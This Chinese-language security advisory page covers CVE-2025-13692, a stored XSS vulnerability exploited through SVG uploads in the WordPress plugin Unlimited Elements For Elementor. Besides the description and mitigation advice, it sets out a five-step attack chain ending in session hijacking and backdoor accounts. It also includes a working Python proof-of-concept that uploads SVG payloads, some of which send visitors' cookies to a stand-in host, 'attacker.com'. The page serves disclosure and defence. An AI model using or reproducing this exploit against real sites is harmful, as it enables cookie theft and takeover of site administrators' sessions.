IPBUF安全漏洞报告
English
CVE-2025-13692 CVSS 7.2 高危

CVE-2025-13692: WordPress Unlimited Elements For Elementor插件SVG上传存储型XSS漏洞

披露日期: 2025-11-27

漏洞信息

漏洞编号
CVE-2025-13692
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Unlimited Elements For Elementor (WordPress插件)

相关标签

CVE-2025-13692WordPress插件漏洞存储型XSSSVG上传漏洞Unlimited Elements For Elementor跨站脚本攻击文件上传漏洞CVSS 7.2高危漏洞WordPress安全

漏洞概述

Unlimited Elements For Elementor是WordPress平台上广受欢迎的元素构建器插件,为用户提供了丰富的自定义组件和功能。然而,该插件在2.0及以下所有版本中存在严重的存储型跨站脚本(XSS)漏洞。漏洞根源在于SVG文件上传功能缺乏足够的输入清理和输出转义处理。攻击者可以通过上传包含恶意JavaScript代码的SVG文件,在目标网站的页面中注入任意Web脚本。由于SVG文件被存储在服务器上,每当用户访问这些被注入恶意代码的SVG文件时,攻击脚本就会自动执行,可能导致会话劫持、敏感信息窃取或进一步的攻击链。值得注意的是,虽然利用此漏洞需要高级版本创建带有文件上传字段的表单,但一旦表单被创建,即使高级版本被停用或卸载,漏洞仍然可被利用。这使得该漏洞具有极高的隐蔽性和持久性威胁。

技术细节

该漏洞的核心问题在于SVG文件上传处理流程中的安全验证缺失。当用户通过表单上传SVG文件时,插件的unitecreator_form.class.php文件(第1952、1960、598行)未能对SVG内容进行严格的输入验证和过滤。SVG格式本质上是一个XML文档,允许嵌入JavaScript代码(如<script>标签或事件处理器onclick、onerror等)。攻击者可以构造一个包含恶意JavaScript payload的SVG文件,例如在SVG的script元素或事件属性中嵌入alert()等测试代码。文件上传后,由于缺少输出转义处理,当该SVG文件被浏览器加载或在其他页面被引用时,恶意脚本会以存储型XSS的形式执行。攻击者可以利用此漏洞窃取用户cookies、劫持会话、进行钓鱼攻击或植入进一步的攻击载荷。由于漏洞利用无需认证(PR:N),且可通过网络直接发起(AV:N),使得任何能够访问文件上传功能的未认证用户都可能成为潜在攻击者。

攻击链分析

STEP 1
步骤1: 侦察与信息收集
攻击者识别目标网站使用的WordPress版本及Unlimited Elements For Elementor插件,确认插件版本<=2.0且存在文件上传表单功能
STEP 2
步骤2: 创建恶意SVG文件
攻击者构造包含恶意JavaScript代码的SVG文件,可使用<script>标签、onload事件或其他事件处理器(如onerror、onclick)注入XSS payload
STEP 3
步骤3: 利用文件上传功能
通过插件的文件上传表单(需高级版本创建)上传恶意SVG文件。由于插件未对SVG内容进行输入清理和输出转义,恶意脚本被存储在服务器上
STEP 4
步骤4: 触发XSS执行
当管理员或其他用户访问被注入的SVG文件时,恶意JavaScript代码自动执行,可能窃取cookies、会话令牌或其他敏感信息
STEP 5
步骤5: 权限提升与持久化
攻击者利用窃取的认证信息劫持管理员会话,创建后门账户或修改网站内容,建立持久化访问通道

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13692 PoC - SVG Upload Stored XSS # Affected: Unlimited Elements For Elementor plugin <= 2.0 import requests import sys def create_malicious_svg(): """Generate malicious SVG file with XSS payload""" # Basic XSS payload for testing xss_payload = '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">' # More advanced payload for cookie theft advanced_payload = '''<svg xmlns="http://www.w3.org/2000/svg"> <script>document.location='https://attacker.com/steal?c='+document.cookie</script> </svg>''' # Event handler based payload event_payload = '''<svg xmlns="http://www.w3.org/2000/svg"> <rect width="100" height="100" onmouseover="fetch('https://attacker.com/log?data='+btoa(document.cookie))"/> </svg>''' return advanced_payload def upload_svg(target_url, form_id=None): """ Upload malicious SVG via the plugin's file upload form Note: Requires premium version to create upload form first """ svg_content = create_malicious_svg() files = { 'file': ('malicious.svg', svg_content, 'image/svg+xml') } data = {} if form_id: data['form_id'] = form_id try: response = requests.post(target_url, files=files, data=data, timeout=10) if response.status_code == 200: print('[+] SVG file uploaded successfully') print(f'[+] Response: {response.text}') return True else: print(f'[-] Upload failed with status: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Request error: {e}') return False def verify_xss(svg_url): """Verify the XSS payload is executable""" try: response = requests.get(svg_url, timeout=10) if 'script' in response.text.lower() or 'onload' in response.text: print('[!] XSS payload detected in response - vulnerability confirmed') return True except requests.exceptions.RequestException as e: print(f'[-] Verification error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <upload_url> <svg_url>') print('Example:') print(f' python {sys.argv[0]} http://target.com/wp-admin/admin-ajax.php http://target.com/wp-content/uploads/svg/malicious.svg') sys.exit(1) upload_url = sys.argv[1] svg_url = sys.argv[2] print('[*] CVE-2025-13692 PoC - Unlimited Elements For Elementor SVG XSS') print(f'[*] Target: {upload_url}') if upload_svg(upload_url): print('[*] Verifying XSS execution...') verify_xss(svg_url)

影响范围

Unlimited Elements For Elementor < 2.0.1
Unlimited Elements For Elementor 2.0 (及以下所有版本)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)禁用或删除插件的文件上传表单功能;2)限制上传目录的访问权限;3)对SVG文件上传实施严格的MIME类型验证和内容扫描;4)考虑临时禁用Unlimited Elements For Elementor插件;5)启用Web应用防火墙规则检测包含<script>标签或事件处理器的SVG文件上传请求;6)加强网站监控,及时发现异常文件上传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表